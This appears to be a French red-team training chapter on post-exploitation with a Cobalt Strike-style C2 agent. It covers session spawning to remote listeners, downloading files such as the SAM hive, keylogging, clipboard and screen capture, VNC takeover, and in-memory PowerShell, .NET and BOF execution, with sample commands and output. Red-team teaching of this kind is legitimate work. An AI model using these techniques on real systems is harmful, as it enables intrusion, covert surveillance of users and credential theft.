7.1 Post-Exploitation
La phase de post-exploitation représente le cœur de l'engagement offensif, où l'équipe rouge commence à progresser vers ses objectifs définis. Il est impératif de localiser les cibles, de déterminer les accès disponibles et de planifier la progression sans être détecté. Les Tactiques, Techniques et Procédures (TTP) requises peuvent inclure la reconnaissance locale et de domaine, l'élévation de privilèges, le dump de crédentiels, l'usurpation d'identité et le mouvement latéral.
Après l'accès initial, l'une des premières étapes cruciales est d'évaluer l'environnement, souvent appelé "conscience de la situation". L'objectif est de collecter un maximum d'informations sur la machine compromise et son écosystème. Cela peut englober :
- Présence de fichiers, partages ou lecteurs mappés intéressants ?
- Quels processus sont en cours d'exécution ? Y a-t-il des logiciels notables ou vulnérables ?
- Quels produits de défense (AV, EDR, LAPS, Sysmon) sont actifs ?
- Versions de .NET / PowerShell ?
- Utilisateurs connectés et leurs privilèges.
- Historique de navigation, favoris ou informations d'identification enregistrées.
- Politiques de sécurité locales (renforcement UAC, signature SMB).
- Autres machines du domaine et les services qu'elles exposent.
- Qui a accès à ces ressources ?
Des frameworks comme Cobalt Strike offrent divers outils, qu'ils soient intégrés ou tiers, pour faciliter cette collecte d'informations.
7.1.1 Comportement des Commandes
Chaque instruction envoyée à un agent offensif peut être caractérisée par son mode de fonctionnement interne. Certaines commandes exploitent uniquement l'API Windows, d'autres exécutent du code au sein du processus de l'agent, et certaines peuvent s'injecter dans un processus distant. Il est essentiel pour l'opérateur de comprendre le comportement de chaque commande afin d'évaluer les risques liés à leur exécution dans un environnement défensif connu.
7.1.1.1 Maintenance Interne
Ces commandes sont utilisées pour configurer l'agent ou modifier ses paramètres d'exécution. Elles incluent sleep, spawnto, jobs et ppid. Généralement, elles ne réalisent pas d'action directe mais ajustent ou renvoient des valeurs stockées en mémoire par l'agent.
7.1.1.2 API Uniquement
Intégrées directement dans l'agent, ces commandes sont parmi les moins invasives pour effectuer des actions concrètes. Les commandes qui appellent uniquement l'API Win comprennent cd, cp, ls, mv, ps, pwd, rm et upload.
7.1.1.3 Exécution en Ligne
Un agent peut intégrer une capacité appelée inline-execute, qui s'attend à recevoir des fichiers objets (BOF) depuis le serveur de contrôle. Un BOF est un programme C compilé sans nécessiter de lien externe ; l'agent le parse et agit comme son propre linker/loader pour exécuter son contenu. Un avantage des BOF est qu'ils s'exécutent dans l'espace mémoire de l'agent, offrant une alternative à l'exécution de processus séparés (abordée ci-dessous). L'inconvénient est qu'un crash du code interne du BOF entraînera également le crash de l'agent.
Certaines commandes, telles que dllload, getsystem et timestomp, sont implémentées via des BOF. Un opérateur peut également développer ses propres BOF pour étendre les fonctionnalités de l'agent. Bien qu'un BOF puisse agir comme une commande 'API-Only', l'agent doit effectuer un travail supplémentaire pour le charger et l'exécuter.
7.1.1.4 Fork & Run
Le concept de "Fork & Run" désigne un mode d'exécution où un processus temporaire est créé (forked), et un module de post-exploitation (souvent sous forme de DLL réflexive) y est injecté. Le résultat de l'exécution de ce module est ensuite typiquement lu via un canal nommé. Cette méthode, bien qu'augmentant la surface de détection, confère une plus grande stabilité à l'agent de communication.
Dans certains outils comme Cobalt Strike, "Fork & Run" se présente sous deux variantes : "spawn" et "explicit".
- La variante "spawn" exécute directement le module de post-exploitation dans un nouveau processus.
- La variante "explicit" injecte le module dans un processus existant.
Certaines commandes supportent uniquement la variante "spawn", comme exec-assembly ou powerpick. D'autres ne sont compatibles qu'avec la variante "explicit", telle que inject-powershell. Enfin, certaines commandes, comme cred-dump, portscan ou keylogger, peuvent utiliser les deux.
Pour déterminer la variante supportée par une commande, consultez son aide. Si la syntaxe de la commande accepte les arguments [arch] et [pid], elle supporte l'exécution 'explicit'. Sinon, c'est la variante 'spawn'.
agent> aide exec-assembly
Utilisation: exec-assembly [/chemin/vers/fichier.exe] [arguments] << spawn
agent> aide inject-powershell
Utilisation: inject-powershell [pid] [arch] [cmdlet] [arguments] << explicit
agent> aide cred-dump
Utilisation: cred-dump [pid] [arch] [module::commande] <args> << explicit
cred-dump [module::commande] <args> << spawn
La variante "explicit" est particulièrement utile lorsqu'il est nécessaire d'injecter un module de post-exploitation dans un processus appartenant à un autre utilisateur. Par exemple, l'exécution d'un keylogger [pid] [x86|x64] sur un processus d'un autre utilisateur permet d'enregistrer ses frappes (sous réserve que votre agent dispose des privilèges suffisants pour l'injection).
7.2 Transfert de Session
Le transfert de session (Session Passing) est une technique consistant à dériver de nouvelles sessions à partir d'une session d'agent existante. Par exemple, si vous avez un agent qui se connecte via un listener DNS, mais que vous souhaitez en créer un nouveau via un listener HTTP. Cette technique est particulièrement pertinente lorsque vous maintenez une persistance lente via un canal discret, et que vous devez basculer vers un canal plus rapide pour exécuter des commandes de post-exploitation.
Les méthodes les plus directes pour cela sont les commandes spawn et spawnas.
7.2.1 Création (Spawn)
La commande spawn lance un nouveau processus et y injecte le shellcode correspondant à un listener spécifié. L'agent ainsi dérivé s'exécutera avec les mêmes droits d'utilisateur que le processus ayant initié la commande.
agent> aide spawn
Utilisation: spawn [x86|x64] [listener]
spawn [listener]
Lance un processus x86 ou x64 et y injecte le shellcode du listener.
agent> spawn x64 listener_http_rapide
[*] Tâche assignée à l'agent : lancer (x64) windows/beacon_http/reverse_http (serveur.distant.com:80)
[+] Hôte contacté, envoyé : 350863 octets
7.2.2 Création sous Autre Identité (Spawnas)
La commande spawnas fonctionne de manière similaire, mais elle accepte les identifiants en clair d'un autre utilisateur. L'agent nouvellement créé s'exécutera sous l'identité de cet utilisateur alternatif.
agent> aide spawnas
Utilisation: spawnas [DOMAINE\utilisateur] [mot_de_passe] [listener]
Tente de lancer une charge utile sous l'identité d'un autre utilisateur. Si vous ne spécifiez pas de DOMAINE,
l'agent tentera de s'authentifier en tant qu'utilisateur local.
Cette commande échouera généralement si vous êtes dans un contexte SYSTEM. Utilisez 'make_token'
pour créer un jeton permettant de transmettre les informations d'identification souhaitées à la place.
Les messages d'aide sont souvent très instructifs, car ils soulignent les considérations importantes concernant les commandes. L'aide de spawnas indique qu'elle pourrait ne pas fonctionner lorsqu'elle est exécutée depuis un agent fonctionnant en tant que SYSTEM. De telles limitations sont souvent dues aux mécanismes sous-jacents de l'API Windows.
Un problème récurrent lors de la création de nouveaux processus concerne le répertoire de travail actuel de l'agent. Par exemple, tenter de créer un nouvel agent avec des informations d'identification alternatives peut échouer et renvoyer le code d'erreur 267 si le répertoire de travail est mal configuré.
agent> spawnas DOMAIN\usr_dev P4ssw0rd! listener_tcp_local
[*] Tâche assignée à l'agent : lancer windows/beacon_bind_tcp (127.0.0.1:1337) en tant que DOMAIN\usr_dev
[-] Impossible d'exécuter C:\Windows\system32\rundll32.exe en tant que DOMAIN\usr_dev: 267
agent> code_erreur_windows 267
ERROR_DIRECTORY, STATUS_NOTIFY_CLEANUP
Ce problème survient car le répertoire de travail de l'agent est défini sur un chemin appartenant à l'utilisateur usr_dev, auquel l'utilisateur actuel n'a pas accès.
agent> pwd
[*] Répertoire actuel : C:\Users\utilisateur_courant\Documents
La solution à ce problème est simple : il suffit de modifier le répertoire de travail de l'agent vers un chemin auquel l'utilisateur usr_dev a accès.
agent> cd C:\
agent> spawnas DOMAIN\usr_dev P4ssw0rd! listener_tcp_local
7.3 Système de Fichiers
L'interaction avec le système de fichiers local constitue une forme d'énumération fondamentale. L'exécution de la commande ls sans argument liste tous les fichiers et sous-répertoires du répertoire de travail actuel.
agent> ls
[*] Liste : C:\\
Taille Type Dernière Modif. Nom
---- ---- ------------- ----
dir 02/15/2025 10:30:00 $Recycle.Bin
dir 03/28/2025 11:45:20 $WinREAgent
dir 02/07/2025 15:10:15 Documents et Paramètres
dir 12/08/2019 08:20:00 PerfLogs
dir 03/25/2025 10:00:00 Fichiers Programme
dir 03/25/2025 09:50:00 Fichiers Programme (x86)
dir 03/25/2025 09:40:00 ProgramData
dir 02/15/2025 10:00:00 Récupération
dir 02/07/2025 15:10:25 System Volume Information
dir 03/28/2025 11:55:00 Utilisateurs
dir 03/25/2025 09:30:00 Windows
12kb fic 03/28/2025 08:00:00 JournalTemp.log
2gb fic 03/28/2025 08:00:00 pagefile.sys
512mb fic 03/28/2025 08:00:00 swapfile.sys
En fournissant un chemin, le répertoire cible est listé. Il peut s'agir d'un chemin absolu ou relatif :
agent> ls C:\Utilisateurs
[*] Liste : C:\Utilisateurs\
Taille Type Dernière Modif. Nom
---- ---- ------------- ----
dir 12/08/2019 09:00:00 Tous les Utilisateurs
dir 03/25/2025 09:55:00 Défaut
dir 12/08/2019 09:00:00 Utilisateur Défaut
dir 02/08/2025 11:30:00 admin_prod
dir 02/07/2025 15:15:00 Public
dir 03/28/2025 12:00:00 usr_dev
200o fic 12/08/2019 08:15:00 desktop.ini
agent> ls Utilisateurs
[*] Liste : Utilisateurs\
Taille Type Dernière Modif. Nom
---- ---- ------------- ----
dir 12/08/2019 09:00:00 Tous les Utilisateurs
dir 03/25/2025 09:55:00 Défaut
dir 12/08/2019 09:00:00 Utilisateur Défaut
dir 02/08/2025 11:30:00 admin_prod
dir 02/07/2025 15:15:00 Public
dir 03/28/2025 12:00:00 usr_dev
200o fic 12/08/2019 08:15:00 desktop.ini
Utilisez la commande drives pour vérifier la présence d'autres partitions de disque ou de périphériques de stockage montables sur l'hôte cible.
7.3.1 Explorateur de Fichiers
Une autre méthode d'interaction avec le système de fichiers est via le "File Browser". Il peut être lancé en exécutant la commande file_browser ou en faisant un clic droit sur l'agent et en sélectionnant "Explorer > File Browser". Le répertoire initial affiché est par défaut le répertoire de travail actuel.
Les répertoires affichés en gris n'ont pas encore été explorés. Pour en visualiser le contenu, double-cliquez sur le répertoire dans la vue centrale ou cliquez dessus dans la vue des lecteurs à gauche. Toutes les opérations du navigateur de fichiers sont effectuées de manière asynchrone par l'agent, ce qui signifie que la vitesse de chargement des données dépend de la fréquence de connexion (check-in) de la session actuelle.
Le navigateur de fichiers met en cache toutes les données énumérées tant qu'il reste ouvert. Si l'onglet est fermé, toutes les données en cache sont effacées. La réouverture d'un nouvel onglet ne reprendra aucune donnée collectée lors des sessions précédentes.
7.4 Téléchargement de Fichiers
Des fichiers peuvent être téléchargés depuis le système cible à l'aide de la commande download. La syntaxe est download [chemin_fichier], où [chemin_fichier] peut être absolu (par exemple, C:\Windows\System32\config\SAM) ou relatif (par exemple, ../etc/passwd).
agent> download C:\Utilisateurs\admin_prod\Desktop\rapport.txt
[*] Démarrage du téléchargement de C:\Utilisateurs\admin_prod\Desktop\rapport.txt (512 octets)
[*] Téléchargement de rapport.txt terminé
Les fichiers peuvent également être téléchargés depuis le navigateur de fichiers en cliquant avec le bouton droit et en sélectionnant "Télécharger".
Le contenu des fichiers est transféré via le canal de commande et contrôle (C2) vers le serveur de l'équipe (de la même manière que l'agent envoie le résultat des tâches). Par conséquent, la vitesse de téléchargement dépend du protocole utilisé par l'agent et de son temps de veille. Par exemple, un agent utilisant des enregistrements DNS A mettra beaucoup plus de temps à télécharger un fichier qu'un agent utilisant des requêtes HTTP POST.
Pour visualiser les tâches de téléchargement en cours, exécutez la commande downloads. Celle-ci affichera un résumé des téléchargements actifs, incluant la taille totale des fichiers et la quantité de données déjà reçues. Pour annuler un téléchargement, utilisez la commande cancel.
Étant donné que les fichiers sont d'abord téléchargés sur le serveur de l'équipe, ils n'apparaissent pas directement sur la machine exécutant le client Cobalt Strike. Pour accéder aux fichiers téléchargés, sélectionnez "Voir > Téléchargements" dans la barre de menu.
Dans cette interface, sélectionnez le fichier cible et cliquez sur "Synchroniser les fichiers". Une boîte de dialogue s'ouvrira, vous permettant de sauvegarder le fichier sur votre disque local. De plus, le bouton "Supprimer les fichiers" permet de retirer des fichiers du serveur de l'équipe. Il est important de noter que tous les opérateurs connectés au serveur peuvent voir (ou supprimer) n'importe quel fichier téléchargé.
7.5 Processus
Utilisez la commande ps pour lister les processus en cours d'exécution. Les informations renvoyées incluent l'ID du processus (PID), l'ID du processus parent (PPID), l'architecture du processus (x64 ou x86), l'ID de session et l'utilisateur exécutant ce processus. Le résultat est principalement trié par PID, puis par le PID de ses processus enfants. Par exemple, la sortie suivante montre que service_A (PID 100), app_X.exe (PID 400) et memory_mgr (PID 2100) sont tous des processus enfants de System (PID 4).
agent> ps
[*] Liste des processus
[*] PID de cet agent : ROUGE 7890
PID PPID Nom Arch Session Utilisateur
--- ---- ---- ---- ------- ----
0 0 [Processus Système]
4 0 System
100 4 Service_A
400 4 App_X.exe
2100 4 Memory_Mgr
À moins que votre agent ne s'exécute avec un niveau d'intégrité élevé, vous ne pourrez pas lire l'architecture, la session ou les informations utilisateur des processus autres que le vôtre. Des détails supplémentaires sont abordés dans la section "Élévation de privilèges".
7.5.1 Explorateur de Processus
Similaire au navigateur de fichiers, un outil d'exploration des processus est disponible via la commande process_browser ou en sélectionnant "Explorer > Liste des processus" dans la barre de menu.
7.6 Enregistreur de Frappes (Keylogger)
Le keylogger intégré à l'outil enregistre les frappes de l'utilisateur propriétaire du processus cible dans lequel le module de post-exploitation a été injecté.
agent> aide keylogger
Utilisation: keylogger [pid] [x86|x64]
keylogger
Injecte un enregistreur de frappes dans le processus spécifié.
Utilisez 'keylogger' sans arguments pour lancer un processus temporaire et y injecter l'enregistreur de frappes.
Pour arrêter cette tâche : utilisez 'jobs' pour trouver l'ID de la tâche. Utilisez 'jobkill' pour l'arrêter.
Le contenu enregistré n'est pas affiché directement dans la console de l'agent, mais est accessible via un onglet dédié en sélectionnant "Voir > Frappes" dans la barre de menu.
Vous pouvez cliquer avec le bouton droit sur une ligne de données, choisir "Sauvegarder" pour synchroniser le contenu sur votre ordinateur local dans un fichier texte, ou "Supprimer" pour effacer définitivement l'enregistrement.
Le keylogger s'exécute comme une tâche de longue durée. Son état peut être vérifié avec la commande jobs, et il peut être arrêté avec la commande jobkill.
agent> jobs
[*] Tâches en cours
JID PID Description
--- --- -----------
0 4567 Enregistreur de frappes
agent> jobkill 0
[+] Tâche 0 terminée
7.7 Presse-papiers
La commande clipboard permet de lire le contenu du presse-papiers de l'utilisateur. Si le contenu est du texte, il est directement affiché dans la console de l'agent.
agent> aide clipboard
Utilisation: clipboard
Tente d'obtenir le contenu textuel du presse-papiers.
agent> clipboard
[*] Tâche assignée à l'agent : obtenir le contenu du presse-papiers.
Données du Presse-papiers (30 octets):
MonPassw0rdTr3sS3cr3tEtL0ng!
7.8 Registre
L'agent peut interroger le registre local via la commande reg. Utilisez reg query pour lister toutes les sous-clés et valeurs d'un chemin spécifié, ou reg queryv pour lire la valeur d'une clé spécifique.
agent> aide reg
Utilisation: reg query [x86|x64] [racine\chemin]
reg queryv [x86|x64] [racine\chemin] [sous_clé]
Utilisez 'query' pour interroger une clé dans le registre. Liste toutes les sous-clés et valeurs.
Utilisez 'queryv' pour interroger une sous-clé dans le registre. Liste uniquement la sous-clé et
sa valeur.
Utilisez HKLM, HKCR, HKCC, HKCU, ou HKU pour la racine.
Spécifiez x86|x64 pour forcer une vue spécifique du registre.
Par exemple, pour lire les données des politiques locales :
agent> reg query x64 HKLM\SOFTWARE\Policies\Microsoft\Windows\System
AllowDomainCreds 0
DisablePasswordReveal 1
EnableLocalAccountReset 0
ForceLockScreen 1
LoginWithPIN 1
PromptForPwdChange 0
ShutdownOption 0
WelcomeScreenUI 1
SecureBoot\
CredentialProviders\
Ou pour une clé spécifique :
agent> reg queryv x64 HKLM\SOFTWARE\Policies\Microsoft\Windows\System ForceLockScreen
ForceLockScreen 1
7.9 Captures d'Écran
L'agent peut capturer l'écran du bureau cible de plusieurs manières.
7.9.1 Printscreen (simulé)
La première méthode est via la commande printscreen. Cette commande simule l'appui de la touche 'Impr. écran' sur le clavier de l'utilisateur, ce qui sauvegarde une copie de l'écran dans le presse-papiers. L'agent extrait ensuite ces données du presse-papiers et renvoie le résultat au contrôleur. Il est recommandé d'utiliser cette fonctionnalité avec prudence.
agent> aide printscreen
Utilisation: printscreen [pid] [x86|x64]
printscreen
Injecte un outil de capture d'écran dans le processus spécifié.
Utilisez 'printscreen' sans arguments pour lancer un processus temporaire et y injecter l'outil de capture d'écran.
'printscreen' simule l'appui de la touche Impr. écran et capture la capture d'écran depuis le presse-papiers. Il se termine ensuite. Cette commande videra le contenu du presse-papiers après exécution.
Il n'existe pas de variante de longue durée de cette commande car... avouons-le... vider périodiquement le presse-papiers n'est probablement pas une bonne pratique d'OPSEC.
7.9.2 Capture d'Écran (Screenshot)
La deuxième méthode utilise la commande screenshot. Cette commande exploite une DLL de post-exploitation pour capturer directement le contenu de l'écran, sans passer par le presse-papiers.
agent> aide screenshot
Utilisation: screenshot [pid] [x86|x64]
screenshot
Injecte un outil de capture d'écran dans le processus spécifié.
Utilisez 'screenshot' sans arguments pour lancer un processus temporaire et y injecter l'outil de capture d'écran.
'screenshot' prend une image du bureau visible et se termine.
La commande screenshot peut également être exécutée de deux autres manières :
- Cliquez avec le bouton droit sur l'objet Agent, sélectionnez "Explorer > Screenshot".
- Dans la fenêtre de l'Explorateur de Processus, sélectionnez le processus cible et cliquez sur le bouton "Screenshot".
7.9.3 Surveillance d'Écran (Screenwatch)
La commande screenwatch offre une fonctionnalité de capture d'écran continue et automatique.
agent> aide screenwatch
Utilisation: screenwatch [pid] <x86|x64>
screenwatch
Injecte un outil de surveillance d'écran dans le processus spécifié.
Utilisez 'screenwatch' sans arguments pour lancer un processus temporaire et y injecter l'outil de surveillance d'écran.
'screenwatch' envoie une capture d'écran du bureau de l'utilisateur (une par connexion d'agent)
jusqu'à sa terminaison. Si l'utilisateur est inactif, l'outil prendra une nouvelle capture
toutes les trois minutes.
Pour arrêter cette tâche : utilisez 'jobs' pour trouver l'ID de la tâche. Utilisez 'jobkill' pour l'arrêter.
La fréquence des captures d'écran est directement liée au temps de veille (sleep time) de l'agent. Pour capturer l'écran toutes les 5 secondes, exécutez sleep 5 ; toutes les minutes, sleep 60, et ainsi de suite.
Dans tous les cas, les images capturées sont transmises à un onglet dédié, accessible via "Voir > Captures d'écran" dans la barre de menu.
L'utilisateur peut, en cliquant avec le bouton droit sur une entrée, choisir "Sauvegarder" pour télécharger une copie de la capture sur son ordinateur local, ou "Supprimer" pour l'effacer définitivement. De plus, un clic droit sur l'image de la capture permet d'ajuster son échelle de zoom.
7.10 VNC
Certains outils offensifs peuvent également injecter une DLL VNC réflexive complète pour permettre le contrôle à distance du bureau de l'utilisateur. Un attaquant peut initier ce contrôle en exécutant la commande desktop ou en accédant à "Explorer > Bureau (VNC)" dans la barre de menu.
agent> aide desktop
Utilisation: desktop [pid] [x86|x64] [haute|basse]
desktop [haute|basse]
Injecte un serveur VNC sur la cible et s'y connecte. Vous pouvez spécifier
si la session est de haute ou basse qualité.
agent> desktop haute
[*] Tâche assignée à l'agent : lancer serveur VNC
[+] Redirection de port démarrée sur 6000 vers 127.0.0.1:6000
Cette opération crée une redirection de port inverse sur l'hôte cible, que la DLL VNC utilise pour renvoyer le trafic au serveur de l'équipe (Team Server). Simultanément, le serveur de l'équipe écoute sur le même port, attendant la connexion du client offensif.
La session est par défaut en mode "affichage uniquement", mais l'opérateur peut obtenir le contrôle du clavier et de la souris via les boutons situés en bas de la fenêtre. La fermeture de cet onglet désactivera automatiquement la liaison du port.
7.11 Commandes d'Exécution
Les fonctionnalités d'interaction shell et d'exécution de commandes permettent aux opérateurs d'exécuter des commandes arbitraires sur l'hôte cible et d'en récupérer la sortie.
7.11.1 shell
La commande shell peut être utilisée pour exécuter des actions, avec un effet identique à l'exécution de commandes via une invite de commande standard (CMD/terminal).
agent> aide shell
Utilisation: shell [commande] [arguments]
Exécute la commande via cmd.exe.
Ce mécanisme transmet la commande et ses arguments fournis par l'utilisateur à cmd.exe /c. Ainsi, l'exécution de shell qui_suis_je /utilisateur se traduit par cmd.exe /c qui_suis_je /utilisateur sur l'hôte cible.
agent> shell qui_suis_je /utilisateur
INFORMATIONS UTILISATEUR
-----------------------
Nom d'utilisateur SID
=================== ============================================
dev\sysadmin S-1-5-21-987654321-123456789-9876543210-1234
7.11.2 run
La commande run n'invoque pas cmd.exe, mais exécute directement le programme cible.
agent> aide run
Utilisation: run [programme] [arguments]
Exécute le programme. Renvoie la sortie.
agent> run qui_suis_je /utilisateur
INFORMATIONS UTILISATEUR
-----------------------
Nom d'utilisateur SID
=================== ============================================
dev\sysadmin S-1-5-21-987654321-123456789-9876543210-1234
Les deux commandes produisent des résultats similaires, mais leurs mécanismes de fonctionnement diffèrent. Vous pouvez choisir l'une ou l'autre en fonction de ces différences de comportement, ou pour imiter un acteur de menace spécifique. Par exemple, des commandes comme dir ne fonctionnent qu'avec shell, car dir est une commande interne de cmd.exe et non un programme exécutable indépendant. En revanche, qui_suis_je est un programme autonome situé dans le répertoire System32 et peut donc être exécuté à la fois avec shell et run.
De manière générale, l'exécution de commandes et de programmes de cette manière est considérée comme une mauvaise pratique en termes de sécurité opérationnelle (OPSEC). L'agent offre de nombreuses commandes 'API-Only' conçues pour remplacer ces besoins d'exécution. Par exemple, il est recommandé d'utiliser ls à la place de dir, et getuid à la place de qui_suis_je.
7.12 Exécution d'Outils Personnalisés
Lors d'un test d'intrusion ou d'une opération Red Team, une multitude d'outils commerciaux et open source sont exploitables. Parmi les plus courants, citons Seatbelt pour la reconnaissance locale, PowerView pour la reconnaissance de domaine, Certipy et Certify pour l'abus d'ADCS (Active Directory Certificate Services), Rubeus pour les attaques Kerberos, et Impacket pour le mouvement latéral, le dump et le relai de crédentiels. Certains outils nécessitent une exécution directe sur le système cible, tandis que d'autres peuvent être opérés à distance via le réseau. Ce chapitre se concentrera sur l'exécution directe des outils ; les outils d'opération réseau sont abordés dans la section sur les techniques de pivot réseau.
L'agent offre la capacité d'exécuter directement en mémoire des scripts PowerShell, des assemblys .NET et des DLL réflexives, offrant ainsi une flexibilité maximale aux opérateurs.
7.12.1 PowerShell
Il existe plusieurs façons d'exécuter PowerShell via l'agent. La première consiste à utiliser directement la commande powershell.
agent> aide powershell
Utilisation: powershell [cmdlet] [arguments]
Exécute la commande en utilisant powershell. Les cmdlets
importées lors de la dernière utilisation de 'powershell-import' sont également disponibles.
Cette méthode invoque powershell.exe pour l'exécution et est donc fonctionnellement similaire à l'utilisation directe de la commande shell (qui invoque cmd.exe).
agent> powershell $Env:NomMachine
SRV-PROD-01
Le cmdlet et ses arguments que vous spécifiez sont convertis en une commande encodée avant l'exécution. Ainsi, la commande ci-dessus est en réalité exécutée sous la forme : powershell -nop -exec bypass -EncodedCommand JABFAH4AdgA6AE4AbwBtAE0AYQBjAGgAaQBuAGUAA==. Ce comportement peut être modifié par les attaquants via des hooks dans les scripts d'Aggressor.
7.12.2 powerpick
La commande powerpick exécute des commandes PowerShell en appelant une instance PowerShell non managée, accédant directement à l'API PowerShell sous-jacente sans dépendre du processus powershell.exe.
agent> aide powerpick
Utilisation: powerpick [cmdlet] [arguments]
powerpick "[PATCHES: [règle-patch] [règle-patch] [règle-patch] [règle-patch]]" [cmdlet] [arguments]
Exécute la commande via PowerShell non managé. Les cmdlets importées
lors de la dernière utilisation de 'powershell-import' sont également disponibles.
Cette technique est basée sur le projet UnmanagedPowerShell de Lee Christensen. Sa logique fondamentale consiste à lancer un processus cible spawnto via un mécanisme 'fork-and-run', à y injecter la DLL PowerShell non managée, puis à lire les résultats de l'exécution via un canal nommé.
https://github.com/leechristensen/UnmanagedPowerShell
7.12.3 PsInject
Cette technique fonctionne de manière analogue à powerpick, mais elle permet à l'attaquant d'injecter la DLL non managée dans un processus existant plutôt que d'en créer un nouveau. Si les permissions nécessaires sont disponibles pour injecter dans un processus d'un autre utilisateur, cette méthode peut être utilisée pour exécuter des scripts PowerShell dans le contexte de cet utilisateur, contournant ainsi certaines détections de privilèges ou permettant une élévation de privilèges.
agent> aide inject-ps
Utilisation: inject-ps [pid] [arch] [cmdlet] [arguments]
Injecte PowerShell non managé dans un processus spécifique et exécute
la commande spécifiée. Les cmdlets importées lors de la dernière utilisation
de 'powershell-import' sont également disponibles.
agent> inject-ps 4000 x64 $ProcessID
[*] Tâche assignée à l'agent : injecter $ProcessID dans 4000 (x64)
4000
7.12.4 Importation de Scripts PowerShell
Pour exécuter des scripts PowerShell externes, il est nécessaire de les importer au préalable à l'aide de la commande powershell-import.
agent> aide powershell-import
Utilisation: powershell-import [/chemin/vers/script.ps1]
Importe un script powershell qui sera combiné aux futurs
appels de la commande powershell. Vous ne pouvez utiliser qu'un seul
script importé à la fois.
Par exemple, pour importer un script de reconnaissance de domaine comme Explore-Domain.ps1, la procédure serait la suivante :
agent> powershell-import C:\Outils\Offensif\Scripts\Explore-Domain.ps1
Ce chemin fait référence au chemin local de la machine exécutant le client offensif, et non au chemin sur l'hôte cible où l'agent est actif.
Lorsque les commandes powershell, powerpick et psinject sont exécutées, le contenu du script importé est automatiquement chargé dans la session PowerShell. L'agent héberge le script via un petit serveur web intégré et le récupère/injecte dynamiquement lors de l'exécution.
agent> powerpick Get-ADDomainInfo
Forêt : dev.local
Contrôleurs de Domaine : {srv-ad-01.dev.local}
Enfants : {}
Mode de Domaine : Windows2016Domain
Niveau de Domaine : 7
Parent :
Propriétaire Rôle PDC : srv-ad-01.dev.local
Propriétaire Rôle RID : srv-ad-01.dev.local
Propriétaire Rôle Infra : srv-ad-01.dev.local
Nom : dev.local
7.12.5 .NET
La commande exec-assembly permet de charger et d'héberger le CLR (Common Language Runtime) via une DLL réflexive, puis d'exécuter directement un assembly .NET depuis la mémoire. Cette fonctionnalité ne prend en charge que les assemblys .NET Framework (et non .NET/.NET Core).
agent> aide exec-assembly
Utilisation: exec-assembly [/chemin/vers/fichier.exe] [arguments]
Utilisation: exec-assembly "[PATCHES: [règle-patch] [règle-patch] [règle-patch] [règle-patch]]" [/chemin/vers/fichier.exe] [arguments]
Exécute un assembly de processus .NET local sur la cible. Cette commande charge le CLR dans un
processus temporaire et y charge l'assembly. Si l'assembly est dans le magasin de données, cette
commande utilisera automatiquement l'élément chargé. Pour plus d'informations (aide magasin-donnees).
agent> exec-assembly C:\Outils\RedTeam\Scanners\DotNetTool.exe ScanConfig
====== Analyse Configuration ======
Statut Scan : Complet
Fichiers Analysés : 125
Vulnérabilités Détectées : 3
[*] Collecte terminée en 0.250 secondes
7.12.6 Fichiers Objets Binaires (BOFs)
Les BOF (Binary Object Files) sont de petits fichiers objets que l'agent peut charger et exécuter, généralement déclenchés via la commande inline-execute.
agent> aide exec-bof
Utilisation: exec-bof [/chemin/vers/fichier.o] [args]
Exécute un Fichier Objet d'Agent (BOF) dans cette session d'agent. Un Fichier Objet d'Agent est
un programme C, compilé en tant que fichier objet, écrit pour utiliser les conventions
spécifiées dans la documentation de Cobalt Strike. Si le Fichier Objet d'Agent est dans le magasin
de données, cette commande utilisera automatiquement l'élément chargé. Pour plus d'informations
(aide magasin-donnees).
Cependant, il est plus courant d'encapsuler les outils BOF sous forme d'alias de commande distincts. Par exemple, le projet 'Situational Awareness BOF' de TrustedSec contient plusieurs modules BOF exposés sous forme de commandes personnalisées via des scripts Aggressor intégrés.
https://github.com/trustedsec/CS-Situational-Awareness-BOF
Par exemple, sa commande net_config peut remplacer l'exécution de shell ipconfig.
agent> net_config
{98765432-ABCD-EFGH-1234-567890ABCDEF}
Ethernet Adaptateur
Carte Réseau Virtuelle Hyper-V
AA-BB-CC-DD-EE-FF
192.168.1.100
Nom d'hôte: srv-dc-01
Suffixe DNS: dev.local
Serveur DNS: 192.168.1.1
En arrière-plan, le script Aggressor exécute l'opération BOF avec la commande suivante :
agent_exec_bof($1, lire_bof($1, "net_config", $null, "T1016"), "lancer", $null);